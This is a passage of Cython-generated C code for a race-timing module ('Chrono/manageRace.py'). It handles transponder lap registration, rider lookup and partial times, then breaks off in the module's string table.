__PYX_ERR(0, 314, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = PyNumber_Multiply(__pyx_t_3, __pyx_int_1000); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 314, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_totticks, __pyx_t_1) < 0)) __PYX_ERR(0, 314, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":315 * tt["lastlap"] = 0 # R_lastlap * tt["totticks"] = self._duration*1000 # R_totticks * if Globals.C_concurrents_TP_fmt%tp in Globals.tpRacerList : # <<<<<<<<<<<<<< * c = Globals.racerList[ Globals.tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] * tt['ridername'] = "%s,%s"%(c['nom'],c['prenom']) # I_ridername */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 315, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_C_concurrents_TP_fmt); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 315, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyNumber_Remainder(__pyx_t_3, __pyx_v_tp); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 315, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 315, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_tpRacerList); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 315, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = (__Pyx_PySequence_ContainsTF(__pyx_t_1, __pyx_t_2, Py_EQ)); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 315, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_8 = (__pyx_t_7 != 0); if (__pyx_t_8) { /* "Chrono/manageRace.py":316 * tt["totticks"] = self._duration*1000 # R_totticks * if Globals.C_concurrents_TP_fmt%tp in Globals.tpRacerList : * c = Globals.racerList[ Globals.tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] # <<<<<<<<<<<<<< * tt['ridername'] = "%s,%s"%(c['nom'],c['prenom']) # I_ridername * tt['ridernum'] = c['numero'] # I_ridernum */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 316, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_racerList); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 316, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 316, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_tpRacerList); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 316, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 316, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_C_concurrents_TP_fmt); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 316, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyNumber_Remainder(__pyx_t_10, __pyx_v_tp); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 316, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_10 = PyObject_GetItem(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 316, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_GetItem(__pyx_t_1, __pyx_t_10); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 316, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_v_c = __pyx_t_2; __pyx_t_2 = 0; /* "Chrono/manageRace.py":317 * if Globals.C_concurrents_TP_fmt%tp in Globals.tpRacerList : * c = Globals.racerList[ Globals.tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] * tt['ridername'] = "%s,%s"%(c['nom'],c['prenom']) # I_ridername # <<<<<<<<<<<<<< * tt['ridernum'] = c['numero'] # I_ridernum * else: */ __pyx_t_2 = PyObject_GetItem(__pyx_v_c, __pyx_n_u_nom); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 317, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_10 = PyObject_GetItem(__pyx_v_c, __pyx_n_u_prenom); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 317, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_1 = PyTuple_New(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 317, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_10); __pyx_t_2 = 0; __pyx_t_10 = 0; __pyx_t_10 = PyUnicode_Format(__pyx_kp_u_s_s, __pyx_t_1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 317, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_ridername, __pyx_t_10) < 0)) __PYX_ERR(0, 317, __pyx_L3_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; /* "Chrono/manageRace.py":318 * c = Globals.racerList[ Globals.tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] * tt['ridername'] = "%s,%s"%(c['nom'],c['prenom']) # I_ridername * tt['ridernum'] = c['numero'] # I_ridernum # <<<<<<<<<<<<<< * else: * tt["ridername"] ="Unknow TP_%d"%tp */ __pyx_t_10 = PyObject_GetItem(__pyx_v_c, __pyx_n_u_numero); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 318, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_ridernum, __pyx_t_10) < 0)) __PYX_ERR(0, 318, __pyx_L3_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; /* "Chrono/manageRace.py":315 * tt["lastlap"] = 0 # R_lastlap * tt["totticks"] = self._duration*1000 # R_totticks * if Globals.C_concurrents_TP_fmt%tp in Globals.tpRacerList : # <<<<<<<<<<<<<< * c = Globals.racerList[ Globals.tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] * tt['ridername'] = "%s,%s"%(c['nom'],c['prenom']) # I_ridername */ goto __pyx_L22; } /* "Chrono/manageRace.py":320 * tt['ridernum'] = c['numero'] # I_ridernum * else: * tt["ridername"] ="Unknow TP_%d"%tp # <<<<<<<<<<<<<< * tt["ridernum"] = 0 * if type == 0: */ /*else*/ { __pyx_t_10 = PyUnicode_Format(__pyx_kp_u_Unknow_TP__d, __pyx_v_tp); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 320, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_ridername, __pyx_t_10) < 0)) __PYX_ERR(0, 320, __pyx_L3_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; /* "Chrono/manageRace.py":321 * else: * tt["ridername"] ="Unknow TP_%d"%tp * tt["ridernum"] = 0 # <<<<<<<<<<<<<< * if type == 0: * tt["lasttick"] = millis # R_lasttick */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_ridernum, __pyx_int_0) < 0)) __PYX_ERR(0, 321, __pyx_L3_error) } __pyx_L22:; /* "Chrono/manageRace.py":322 * tt["ridername"] ="Unknow TP_%d"%tp * tt["ridernum"] = 0 * if type == 0: # <<<<<<<<<<<<<< * tt["lasttick"] = millis # R_lasttick * else: */ __pyx_t_10 = __Pyx_PyInt_EqObjC(__pyx_v_type, __pyx_int_0, 0, 0); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 322, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_10); if (unlikely(__pyx_t_8 < 0)) __PYX_ERR(0, 322, __pyx_L3_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; if (__pyx_t_8) { /* "Chrono/manageRace.py":323 * tt["ridernum"] = 0 * if type == 0: * tt["lasttick"] = millis # R_lasttick # <<<<<<<<<<<<<< * else: * tt["lasttick"] = self.start_time*1000 # R_lasttick */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_lasttick, __pyx_v_millis) < 0)) __PYX_ERR(0, 323, __pyx_L3_error) /* "Chrono/manageRace.py":322 * tt["ridername"] ="Unknow TP_%d"%tp * tt["ridernum"] = 0 * if type == 0: # <<<<<<<<<<<<<< * tt["lasttick"] = millis # R_lasttick * else: */ goto __pyx_L23; } /* "Chrono/manageRace.py":325 * tt["lasttick"] = millis # R_lasttick * else: * tt["lasttick"] = self.start_time*1000 # R_lasttick # <<<<<<<<<<<<<< * tt["updated"] = True # R_updated * tt["textcolor"] = colors["Cyan"] # R_textcolor */ /*else*/ { __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_start_time); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 325, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_1 = PyNumber_Multiply(__pyx_t_10, __pyx_int_1000); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 325, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_lasttick, __pyx_t_1) < 0)) __PYX_ERR(0, 325, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __pyx_L23:; /* "Chrono/manageRace.py":326 * else: * tt["lasttick"] = self.start_time*1000 # R_lasttick * tt["updated"] = True # R_updated # <<<<<<<<<<<<<< * tt["textcolor"] = colors["Cyan"] # R_textcolor * tt["ended"] = False # R_ended */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_updated, Py_True) < 0)) __PYX_ERR(0, 326, __pyx_L3_error) /* "Chrono/manageRace.py":327 * tt["lasttick"] = self.start_time*1000 # R_lasttick * tt["updated"] = True # R_updated * tt["textcolor"] = colors["Cyan"] # R_textcolor # <<<<<<<<<<<<<< * tt["ended"] = False # R_ended * tt["partial"] = [] */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 327, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_10 = PyObject_GetItem(__pyx_t_1, __pyx_n_u_Cyan); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 327, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_textcolor, __pyx_t_10) < 0)) __PYX_ERR(0, 327, __pyx_L3_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; /* "Chrono/manageRace.py":328 * tt["updated"] = True # R_updated * tt["textcolor"] = colors["Cyan"] # R_textcolor * tt["ended"] = False # R_ended # <<<<<<<<<<<<<< * tt["partial"] = [] * for i in range( 0, self.partials ): */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_ended, Py_False) < 0)) __PYX_ERR(0, 328, __pyx_L3_error) /* "Chrono/manageRace.py":329 * tt["textcolor"] = colors["Cyan"] # R_textcolor * tt["ended"] = False # R_ended * tt["partial"] = [] # <<<<<<<<<<<<<< * for i in range( 0, self.partials ): * if i == ( type - 1 ): */ __pyx_t_10 = PyList_New(0); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 329, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_partial, __pyx_t_10) < 0)) __PYX_ERR(0, 329, __pyx_L3_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; /* "Chrono/manageRace.py":330 * tt["ended"] = False # R_ended * tt["partial"] = [] * for i in range( 0, self.partials ): # <<<<<<<<<<<<<< * if i == ( type - 1 ): * tt["partial"].append( millis ) */ __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_partials); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 330, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_1 = PyTuple_New(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 330, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_int_0); __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_10); __pyx_t_10 = 0; __pyx_t_10 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_1, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 330, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (likely(PyList_CheckExact(__pyx_t_10)) || PyTuple_CheckExact(__pyx_t_10)) { __pyx_t_1 = __pyx_t_10; __Pyx_INCREF(__pyx_t_1); __pyx_t_11 = 0; __pyx_t_12 = NULL; } else { __pyx_t_11 = -1; __pyx_t_1 = PyObject_GetIter(__pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 330, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_12 = Py_TYPE(__pyx_t_1)->tp_iternext; if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 330, __pyx_L3_error) } __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; for (;;) { if (likely(!__pyx_t_12)) { if (likely(PyList_CheckExact(__pyx_t_1))) { if (__pyx_t_11 >= PyList_GET_SIZE(__pyx_t_1)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_10 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_11); __Pyx_INCREF(__pyx_t_10); __pyx_t_11++; if (unlikely(0 < 0)) __PYX_ERR(0, 330, __pyx_L3_error) #else __pyx_t_10 = PySequence_ITEM(__pyx_t_1, __pyx_t_11); __pyx_t_11++; if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 330, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); #endif } else { if (__pyx_t_11 >= PyTuple_GET_SIZE(__pyx_t_1)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_10 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_11); __Pyx_INCREF(__pyx_t_10); __pyx_t_11++; if (unlikely(0 < 0)) __PYX_ERR(0, 330, __pyx_L3_error) #else __pyx_t_10 = PySequence_ITEM(__pyx_t_1, __pyx_t_11); __pyx_t_11++; if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 330, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); #endif } } else { __pyx_t_10 = __pyx_t_12(__pyx_t_1); if (unlikely(!__pyx_t_10)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 330, __pyx_L3_error) } break; } __Pyx_GOTREF(__pyx_t_10); } __Pyx_XDECREF_SET(__pyx_v_i, __pyx_t_10); __pyx_t_10 = 0; /* "Chrono/manageRace.py":331 * tt["partial"] = [] * for i in range( 0, self.partials ): * if i == ( type - 1 ): # <<<<<<<<<<<<<< * tt["partial"].append( millis ) * else: */ __pyx_t_10 = __Pyx_PyInt_SubtractObjC(__pyx_v_type, __pyx_int_1, 1, 0); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 331, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_2 = PyObject_RichCompare(__pyx_v_i, __pyx_t_10, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 331, __pyx_L3_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_8 < 0)) __PYX_ERR(0, 331, __pyx_L3_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_8) { /* "Chrono/manageRace.py":332 * for i in range( 0, self.partials ): * if i == ( type - 1 ): * tt["partial"].append( millis ) # <<<<<<<<<<<<<< * else: * tt["partial"].append(0) */ __pyx_t_2 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_partial); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 332, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_13 = __Pyx_PyObject_Append(__pyx_t_2, __pyx_v_millis); if (unlikely(__pyx_t_13 == -1)) __PYX_ERR(0, 332, __pyx_L3_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":331 * tt["partial"] = [] * for i in range( 0, self.partials ): * if i == ( type - 1 ): # <<<<<<<<<<<<<< * tt["partial"].append( millis ) * else: */ goto __pyx_L26; } /* "Chrono/manageRace.py":334 * tt["partial"].append( millis ) * else: * tt["partial"].append(0) # <<<<<<<<<<<<<< * tt["row"] = self.maxrows * dictRace[tp] = tt */ /*else*/ { __pyx_t_2 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_partial); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 334, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_13 = __Pyx_PyObject_Append(__pyx_t_2, __pyx_int_0); if (unlikely(__pyx_t_13 == -1)) __PYX_ERR(0, 334, __pyx_L3_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __pyx_L26:; /* "Chrono/manageRace.py":330 * tt["ended"] = False # R_ended * tt["partial"] = [] * for i in range( 0, self.partials ): # <<<<<<<<<<<<<< * if i == ( type - 1 ): * tt["partial"].append( millis ) */ } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":335 * else: * tt["partial"].append(0) * tt["row"] = self.maxrows # <<<<<<<<<<<<<< * dictRace[tp] = tt * self.maxrows += 1 */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_maxrows); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 335, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_row, __pyx_t_1) < 0)) __PYX_ERR(0, 335, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":336 * tt["partial"].append(0) * tt["row"] = self.maxrows * dictRace[tp] = tt # <<<<<<<<<<<<<< * self.maxrows += 1 * ptt = [] */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_dictRace); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 336, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_v_tp, __pyx_v_tt) < 0)) __PYX_ERR(0, 336, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":337 * tt["row"] = self.maxrows * dictRace[tp] = tt * self.maxrows += 1 # <<<<<<<<<<<<<< * ptt = [] * ptt.append( tt["lapcount"] ) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_maxrows); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 337, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyInt_AddObjC(__pyx_t_1, __pyx_int_1, 1, 1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 337, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_maxrows, __pyx_t_2) < 0) __PYX_ERR(0, 337, __pyx_L3_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":338 * dictRace[tp] = tt * self.maxrows += 1 * ptt = [] # <<<<<<<<<<<<<< * ptt.append( tt["lapcount"] ) * ptt.append( -tt["remticks"] ) */ __pyx_t_2 = PyList_New(0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 338, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __pyx_v_ptt = __pyx_t_2; __pyx_t_2 = 0; /* "Chrono/manageRace.py":339 * self.maxrows += 1 * ptt = [] * ptt.append( tt["lapcount"] ) # <<<<<<<<<<<<<< * ptt.append( -tt["remticks"] ) * self.private[tp] = ptt */ __pyx_t_2 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lapcount); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 339, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_13 = __Pyx_PyObject_Append(__pyx_v_ptt, __pyx_t_2); if (unlikely(__pyx_t_13 == -1)) __PYX_ERR(0, 339, __pyx_L3_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":340 * ptt = [] * ptt.append( tt["lapcount"] ) * ptt.append( -tt["remticks"] ) # <<<<<<<<<<<<<< * self.private[tp] = ptt * */ __pyx_t_2 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_remticks); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 340, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyNumber_Negative(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 340, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_13 = __Pyx_PyObject_Append(__pyx_v_ptt, __pyx_t_1); if (unlikely(__pyx_t_13 == -1)) __PYX_ERR(0, 340, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":341 * ptt.append( tt["lapcount"] ) * ptt.append( -tt["remticks"] ) * self.private[tp] = ptt # <<<<<<<<<<<<<< * * */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_private); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 341, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_v_tp, __pyx_v_ptt) < 0)) __PYX_ERR(0, 341, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __pyx_L11:; /* "Chrono/manageRace.py":268 * raceTime = int(time()) * * try: # <<<<<<<<<<<<<< * if tp in dictRace: # test if transponder it registred * tt = dictRace[tp] */ } __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; goto __pyx_L10_try_end; __pyx_L3_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":344 * * * except ValueError: # <<<<<<<<<<<<<< * print("got an error") */ __pyx_t_14 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); if (__pyx_t_14) { __Pyx_AddTraceback("Chrono.manageRace.manageRace.doRace", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_10) < 0) __PYX_ERR(0, 344, __pyx_L5_except_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GOTREF(__pyx_t_2); __Pyx_GOTREF(__pyx_t_10); /* "Chrono/manageRace.py":345 * * except ValueError: * print("got an error") # <<<<<<<<<<<<<< */ __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__30, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 345, __pyx_L5_except_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; goto __pyx_L4_exception_handled; } goto __pyx_L5_except_error; __pyx_L5_except_error:; /* "Chrono/manageRace.py":268 * raceTime = int(time()) * * try: # <<<<<<<<<<<<<< * if tp in dictRace: # test if transponder it registred * tt = dictRace[tp] */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_4); __Pyx_XGIVEREF(__pyx_t_5); __Pyx_XGIVEREF(__pyx_t_6); __Pyx_ExceptionReset(__pyx_t_4, __pyx_t_5, __pyx_t_6); goto __pyx_L1_error; __pyx_L4_exception_handled:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_4); __Pyx_XGIVEREF(__pyx_t_5); __Pyx_XGIVEREF(__pyx_t_6); __Pyx_ExceptionReset(__pyx_t_4, __pyx_t_5, __pyx_t_6); __pyx_L10_try_end:; } /* "Chrono/manageRace.py":264 * Globals.MainWindow.R_RaceLive.sortItems(0, Qt.DescendingOrder) * * def doRace( self, tp, millis, type ): # <<<<<<<<<<<<<< * lap = 0 * raceTime = int(time()) */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_9); __Pyx_XDECREF(__pyx_t_10); __Pyx_AddTraceback("Chrono.manageRace.manageRace.doRace", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_lap); __Pyx_XDECREF(__pyx_v_raceTime); __Pyx_XDECREF(__pyx_v_tt); __Pyx_XDECREF(__pyx_v_ptt); __Pyx_XDECREF(__pyx_v_cl); __Pyx_XDECREF(__pyx_v_c); __Pyx_XDECREF(__pyx_v_i); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyMethodDef __pyx_methods[] = { {0, 0, 0, 0} }; #if PY_MAJOR_VERSION >= 3 static struct PyModuleDef __pyx_moduledef = { #if PY_VERSION_HEX < 0x03020000 { PyObject_HEAD_INIT(NULL) NULL, 0, NULL }, #else PyModuleDef_HEAD_INIT, #endif "manageRace", 0, /* m_doc */ -1, /* m_size */ __pyx_methods /* m_methods */, NULL, /* m_reload */ NULL, /* m_traverse */ NULL, /* m_clear */ NULL /* m_free */ }; #endif static __Pyx_StringTabEntry __pyx_string_tab[] = { {&__pyx_kp_u_3_3d, __pyx_k_3_3d, sizeof(__pyx_k_3_3d), 0, 1, 0, 0}, {&__pyx_kp_u_3_3d_10_10x, 